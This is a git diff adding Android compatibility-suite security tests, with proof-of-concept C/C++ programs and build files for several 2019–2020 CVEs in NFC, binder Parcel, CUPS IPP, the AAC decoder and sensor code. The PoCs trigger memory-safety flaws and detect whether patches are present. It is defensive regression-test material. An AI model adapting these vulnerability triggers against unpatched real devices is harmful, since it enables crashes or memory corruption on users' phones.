+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2135/poc.cpp
@@ -0,0 +1,40 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <nfa_api.h>
+#include <nfc_api.h>
+#include <phNfcTypes.h>
+#include <phNxpExtns.h>
+
+static void nfaMockDMCallback(uint8_t, tNFA_DM_CBACK_DATA *) {}
+static void nfaMockCCallback(uint8_t, tNFA_CONN_EVT_DATA *) {}
+
+int main(void) {
+ if (EXTNS_Init(nfaMockDMCallback, nfaMockCCallback) != NFCSTATUS_SUCCESS) {
+ return EXIT_FAILURE;
+ }
+ const int32_t size = 16;
+ const int32_t offset = size - 1;
+ uint8_t *p_data = static_cast<uint8_t *>(malloc(size));
+ if (p_data == nullptr) {
+ return EXIT_FAILURE;
+ }
+ p_data[offset] = 0x60;
+ EXTNS_MfcTransceive(&p_data[offset], 1);
+ free(p_data);
+ EXTNS_Close();
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/Android.bp
new file mode 100644
index 0000000..7482be3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/Android.bp
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-2136",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ shared_libs: [
+ "libbinder",
+ "libutils",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/poc.cpp
new file mode 100644
index 0000000..c4d9a79
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/poc.cpp
@@ -0,0 +1,41 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <binder/Parcel.h>
+#include <binder/Status.h>
+
+using namespace android;
+using ::android::binder::Status;
+
+int main(void) {
+ Parcel parcel;
+ parcel.writeInt32(Status::EX_HAS_REPLY_HEADER);
+ /** Vulerable Code: const int32_t header_start = parcel.dataPosition();
+ parcel.setDataPosition(header_start + header_size);
+ Hence header_start is 4 [sizeof(int32_t)] as we have written
+ Status::EX_HAS_REPLY_HEADER. header_start + header_size computation will
+ overflow if header_size > INT32_MAX - sizeof(int32_t).
+ */
+ parcel.writeInt32(INT32_MAX - sizeof(int32_t));
+ parcel.setDataPosition(0);
+ Status status;
+ status.readFromParcel(parcel);
+ /** If vulnerability is present, the parcel's data position would be very
+ large. Hence any write to the parcel will trigger a SIGSEGV else the
+ write would pass.
+ */
+ parcel.writeInt32(0);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2207/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2207/Android.bp
new file mode 100644
index 0000000..1147564
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2207/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-2207",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ compile_multilib: "64",
+ include_dirs: [
+ "system/nfc/src/nfc/include/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/gki/ulinux/",
+ "system/nfc/src/nfa/include/",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2207/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2207/poc.cpp
new file mode 100644
index 0000000..f94ee94
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2207/poc.cpp
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "nfa_hci_defs.h"
+#include "nfa_hci_int.h"
+#define SIZE 16
+
+extern tNFA_HCI_CB nfa_hci_cb;
+
+int main() {
+ nfa_hci_cb.cmd_sent = NFA_HCI_ANY_GET_PARAMETER;
+ nfa_hci_cb.param_in_use = NFA_HCI_HOST_LIST_INDEX;
+ uint8_t data_len = SIZE * 6;
+ uint8_t *data = (uint8_t *)malloc(SIZE);
+ if (!data) {
+ return EXIT_FAILURE;
+ }
+ nfa_hci_handle_admin_gate_rsp(data, data_len);
+ free(data);
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/Android.bp
new file mode 100644
index 0000000..9876bd7
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/Android.bp
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-2228",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.c",
+ ],
+ shared_libs: [
+ "libcups",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/poc.c
new file mode 100644
index 0000000..63600cc
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/poc.c
@@ -0,0 +1,83 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <dlfcn.h>
+#include <fcntl.h>
+#include <ipp.h>
+
+int isInitialized = 0;
+void *check_ptr = NULL;
+size_t text_len = sizeof("text/plain") - 1;
+
+static void *(*real_malloc)(size_t) = NULL;
+static int (*real_strcmp)(const char *str1, const char *str2) = NULL;
+
+void init(void) {
+ real_malloc = (void *(*)(size_t))dlsym(RTLD_NEXT, "malloc");
+ if (real_malloc == NULL) {
+ return;
+ }
+ real_strcmp = (int (*)(const char *, const char *))dlsym(RTLD_NEXT, "strcmp");
+ if (real_strcmp == NULL) {
+ return;
+ }
+ isInitialized = 1;
+}
+
+void *malloc(size_t size) {
+ if (!isInitialized) {
+ init();
+ }
+ void *tmp = real_malloc(size);
+ if (size == text_len) {
+ check_ptr = tmp;
+ }
+ return tmp;
+}
+
+int strcmp(const char *str1, const char *str2) {
+ if (!isInitialized) {
+ init();
+ }
+ if ((str1 == check_ptr) && (str1[text_len - 1] != '\0')) {
+ exit(EXIT_VULNERABLE);
+ }
+ return real_strcmp(str1, str2);
+}
+
+int main(int argc, char **argv) {
+ if (argc < 2) {
+ return EXIT_FAILURE;
+ }
+
+ int file_desc = open((const char *)argv[1], O_RDONLY);
+ if (file_desc < 0) {
+ return EXIT_FAILURE;
+ }
+
+ ipp_t *job = ippNew();
+ if (!job) {
+ return EXIT_FAILURE;
+ }
+ ippReadFile(file_desc, job);
+
+ if (job) {
+ free(job);
+ }
+ close(file_desc);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9247/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9247/Android.bp
new file mode 100644
index 0000000..e989f4c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9247/Android.bp
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-9247",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ include_dirs: [
+ "external/aac/libMpegTPDec/include/",
+ "external/aac/libMpegTPDec/src/",
+ "external/aac/libSYS/include/",
+ "external/aac/libFDK/include/",
+ "cts/hostsidetests/securitybulletin/securityPatch/includes/",
+ ],
+ shared_libs: [
+ "libbluetooth",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9247/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9247/poc.cpp
new file mode 100644
index 0000000..aed7662
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9247/poc.cpp
@@ -0,0 +1,95 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <iostream>
+#include <unistd.h>
+#include <dlfcn.h>
+#include <common.h>
+
+#include "tpdec_lib.h"
+
+#define STACK_SIZE 16384
+#define SIZE_OF_VULNERABLE_MEMORY 1024
+#define TRANSPORTDEC_SIZE 5684
+#define INITIAL_VAL 0xBE
+#define TIMEOUT_IN_SECONDS 540
+
+const UINT length = 200;
+UCHAR conf[length] = { 0 };
+UINT layer = 0;
+bool isVulnerable = false;
+bool isPocExecutionComplete = false;
+
+static void* (*real_memcpy)(void*, const void*, size_t) = nullptr;
+static bool s_memory_copy_initialized = false;
+
+int poc(void *sTp) {
+ transportDec_OutOfBandConfig((struct TRANSPORTDEC *) sTp, conf, length,
+ layer);
+ isPocExecutionComplete = true;
+ return EXIT_SUCCESS;
+}
+
+void memory_copy_init(void) {
+ real_memcpy = (void *(*)(void *, const void *,
+ size_t))dlsym(RTLD_NEXT, "memcpy");
+ if (!real_memcpy) {
+ return;
+ }
+ s_memory_copy_initialized = true;
+}
+
+void* memcpy(void* destination, const void* source, size_t num) {
+ if (!s_memory_copy_initialized) {
+ memory_copy_init();
+ }
+ if (num == length) {
+ char *tmp_destination = (char*) destination;
+ for (int i = 0; i < SIZE_OF_VULNERABLE_MEMORY; ++i) {
+ if (tmp_destination[i] == INITIAL_VAL) {
+ isVulnerable = true;
+ break;
+ }
+ }
+ }
+ return real_memcpy(destination, source, num);
+}
+
+int main() {
+ void *sTp = malloc(TRANSPORTDEC_SIZE);
+ if (!sTp) {
+ return EXIT_FAILURE;
+ }
+ char *ptr = (char *) malloc(STACK_SIZE);
+ if (!ptr) {
+ free(sTp);
+ return EXIT_FAILURE;
+ }
+ memset(sTp, 0x00, TRANSPORTDEC_SIZE);
+ memset(ptr, INITIAL_VAL, STACK_SIZE);
+ clone(&poc, ptr + STACK_SIZE, CLONE_VM, sTp);
+ int sleepCounter = 0;
+ while (!isPocExecutionComplete) {
+ if (sleepCounter == TIMEOUT_IN_SECONDS) {
+ break;
+ }
+ sleep(1);
+ ++sleepCounter;
+ }
+ free(ptr);
+ free(sTp);
+ return (isVulnerable ? EXIT_VULNERABLE : EXIT_SUCCESS);
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9308/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9308/Android.bp
index 250b45b..5fb2d02 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9308/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9308/Android.bp
@@ -15,10 +15,6 @@
*
*/
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2019-9308",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9308/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9308/poc.cpp
index 59f72ed..21eaf53 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9308/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9308/poc.cpp
@@ -67,8 +67,7 @@
aacDecoder_Fill(mAacDecoderHandle, &data, &inputSize, &valid);
INT_PCM outputBuf[kMaxOutBufferSize];
do {
- mErrorCode = aacDecoder_DecodeFrame(mAacDecoderHandle, outputBuf,
- sizeof(outputBuf), 0);
+ mErrorCode = aacDecoder_DecodeFrame(mAacDecoderHandle, outputBuf, kMaxOutBufferSize, 0);
} while (mErrorCode == AAC_DEC_OK);
UINT offset = inputSize - valid;
data += offset;
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9313/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9313/Android.bp
index b10d624..06e37ec 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9313/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9313/Android.bp
@@ -15,10 +15,6 @@
*
*/
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2019-9313",
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9347/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9347/Android.bp
index 0e5d17d..7a52d1c 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9347/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9347/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2019-9347",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
@@ -41,3 +37,5 @@
"-Werror",
],
}
+
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9357/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9357/Android.bp
index 9a7a370..9c18dc9 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9357/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9357/Android.bp
@@ -15,10 +15,6 @@
*
*/
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2019-9357",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9362/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9362/Android.bp
index 1cb71e3..ebe6f13 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9362/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9362/Android.bp
@@ -15,10 +15,6 @@
*
*/
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2019-9362",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0006/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0006/Android.bp
new file mode 100644
index 0000000..dbb07bc
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0006/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0006",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ compile_multilib: "64",
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+ include_dirs: [
+ "system/nfc/src/nfc/include/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/gki/ulinux/",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0006/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0006/poc.cpp
new file mode 100644
index 0000000..e90150e
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0006/poc.cpp
@@ -0,0 +1,126 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <tags_defs.h>
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+char enable_selective_overload = ENABLE_NONE;
+
+// borrowed from rw_i93.cc
+#define RW_I93_FORMAT_DATA_LEN 8
+
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+tNFC_STATUS rw_i93_select(uint8_t* p_uid);
+void* vulnerable_ptr;
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_STATE_NOT_ACTIVATED, /* ISO15693 is not activated */
+ RW_I93_STATE_IDLE, /* waiting for upper layer API */
+ RW_I93_STATE_BUSY, /* waiting for response from tag */
+
+ RW_I93_STATE_DETECT_NDEF, /* performing NDEF detection precedure */
+ RW_I93_STATE_READ_NDEF, /* performing read NDEF procedure */
+ RW_I93_STATE_UPDATE_NDEF, /* performing update NDEF procedure */
+ RW_I93_STATE_FORMAT, /* performing format procedure */
+ RW_I93_STATE_SET_READ_ONLY, /* performing set read-only procedure */
+
+ RW_I93_STATE_PRESENCE_CHECK /* checking presence of tag */
+};
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_SUBSTATE_WAIT_UID, /* waiting for response of inventory */
+ RW_I93_SUBSTATE_WAIT_SYS_INFO, /* waiting for response of get sys info */
+ RW_I93_SUBSTATE_WAIT_CC, /* waiting for reading CC */
+ RW_I93_SUBSTATE_SEARCH_NDEF_TLV, /* searching NDEF TLV */
+ RW_I93_SUBSTATE_CHECK_LOCK_STATUS, /* check if any NDEF TLV is locked */
+
+ RW_I93_SUBSTATE_RESET_LEN, /* set length to 0 to update NDEF TLV */
+ RW_I93_SUBSTATE_WRITE_NDEF, /* writing NDEF and Terminator TLV */
+ RW_I93_SUBSTATE_UPDATE_LEN, /* set length into NDEF TLV */
+
+ RW_I93_SUBSTATE_WAIT_RESET_DSFID_AFI, /* reset DSFID and AFI */
+ RW_I93_SUBSTATE_CHECK_READ_ONLY, /* check if any block is locked */
+ RW_I93_SUBSTATE_WRITE_CC_NDEF_TLV, /* write CC and empty NDEF/Terminator TLV
+ */
+
+ RW_I93_SUBSTATE_WAIT_UPDATE_CC, /* updating CC as read-only */
+ RW_I93_SUBSTATE_LOCK_NDEF_TLV, /* lock blocks of NDEF TLV */
+ RW_I93_SUBSTATE_WAIT_LOCK_CC /* lock block of CC */
+};
+
+void* GKI_getbuf(uint16_t size) {
+ void* ptr = malloc(size);
+ if (size == RW_I93_FORMAT_DATA_LEN) {
+ vulnerable_ptr = ptr;
+ }
+ return ptr;
+}
+
+void GKI_freebuf(void* p_buf) {
+ if (p_buf == vulnerable_ptr) {
+ free(p_buf);
+ }
+}
+
+int main() {
+ enable_selective_overload = ENABLE_ALL;
+ tRW_I93_CB* p_i93 = &rw_cb.tcb.i93;
+
+ GKI_init();
+ rw_init();
+
+ uint8_t p_uid = 1;
+ if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
+ return EXIT_FAILURE;
+ }
+
+ tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+ tNFC_CONN_EVT event = NFC_DATA_CEVT;
+
+ tNFC_CONN* p_data = (tNFC_CONN*)malloc(sizeof(tNFC_CONN));
+ if (!p_data) {
+ return EXIT_FAILURE;
+ }
+
+ p_data->data.p_data = (NFC_HDR*)malloc(sizeof(NFC_HDR));
+ if (!(p_data->data.p_data)) {
+ free(p_data);
+ return EXIT_FAILURE;
+ }
+
+ p_i93->state = RW_I93_STATE_FORMAT;
+ p_i93->sub_state = RW_I93_SUBSTATE_CHECK_READ_ONLY;
+ p_i93->block_size = I93_MAX_BLOCK_LENGH - 1;
+ p_data->status = NFC_STATUS_OK;
+ TIMER_LIST_ENT pFirst = {};
+ nfc_cb.quick_timer_queue.p_first = &pFirst;
+
+ p_cb->p_cback(0, event, p_data);
+ free(p_data->data.p_data);
+ free(p_data);
+ enable_selective_overload = ENABLE_NONE;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/Android.bp
new file mode 100644
index 0000000..269c91e
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/Android.bp
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0007",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils_track",
+ ],
+ shared_libs: [
+ "libsensor",
+ ],
+ cflags: [
+ "-DCHECK_UNINITIALIZED_MEMORY",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/poc.cpp
new file mode 100644
index 0000000..78259bc
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/poc.cpp
@@ -0,0 +1,64 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include "../includes/memutils_track.h"
+#include "hardware/sensors.h"
+#include "sensor/Sensor.h"
+#include "stdlib.h"
+
+size_t vulnerableSize = 0;
+
+using namespace android;
+char enable_selective_overload = ENABLE_NONE;
+
+bool is_tracking_required(size_t size) { return (size == vulnerableSize); }
+
+static sensor_t getTestSensorT() {
+ sensor_t hwSensor = {};
+ hwSensor.name = "Test ";
+ hwSensor.vendor = hwSensor.name;
+ hwSensor.version = 1;
+ hwSensor.handle = 2;
+ hwSensor.type = SENSOR_TYPE_ACCELEROMETER;
+ hwSensor.maxRange = 10.f;
+ hwSensor.resolution = 1.f;
+ hwSensor.power = 5.f;
+ hwSensor.minDelay = 1000;
+ hwSensor.fifoReservedEventCount = 50;
+ hwSensor.fifoMaxEventCount = 100;
+ hwSensor.stringType = SENSOR_STRING_TYPE_ACCELEROMETER;
+ hwSensor.requiredPermission = "";
+ hwSensor.maxDelay = 5000;
+ hwSensor.flags = SENSOR_FLAG_CONTINUOUS_MODE;
+ return hwSensor;
+}
+
+int main() {
+ sensor_t hwSensor = getTestSensorT();
+ Sensor sensor1(&hwSensor, SENSORS_DEVICE_API_VERSION_1_4);
+ vulnerableSize = sensor1.getFlattenedSize();
+ enable_selective_overload = ENABLE_MALLOC_CHECK;
+ void *buffer = malloc(vulnerableSize);
+ if (!buffer) {
+ return EXIT_FAILURE;
+ }
+ enable_selective_overload = ENABLE_NONE;
+ sensor1.flatten(buffer, vulnerableSize);
+ int status = is_memory_uninitialized();
+ free(buffer);
+ return status;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0037/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0037/Android.bp
new file mode 100644
index 0000000..d6adf3c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0037/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0037",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+ compile_multilib: "64",
+ include_dirs: [
+ "system/nfc/src/nfc/include/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/gki/ulinux/",
+ "system/nfc/src/nfa/include/",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+}
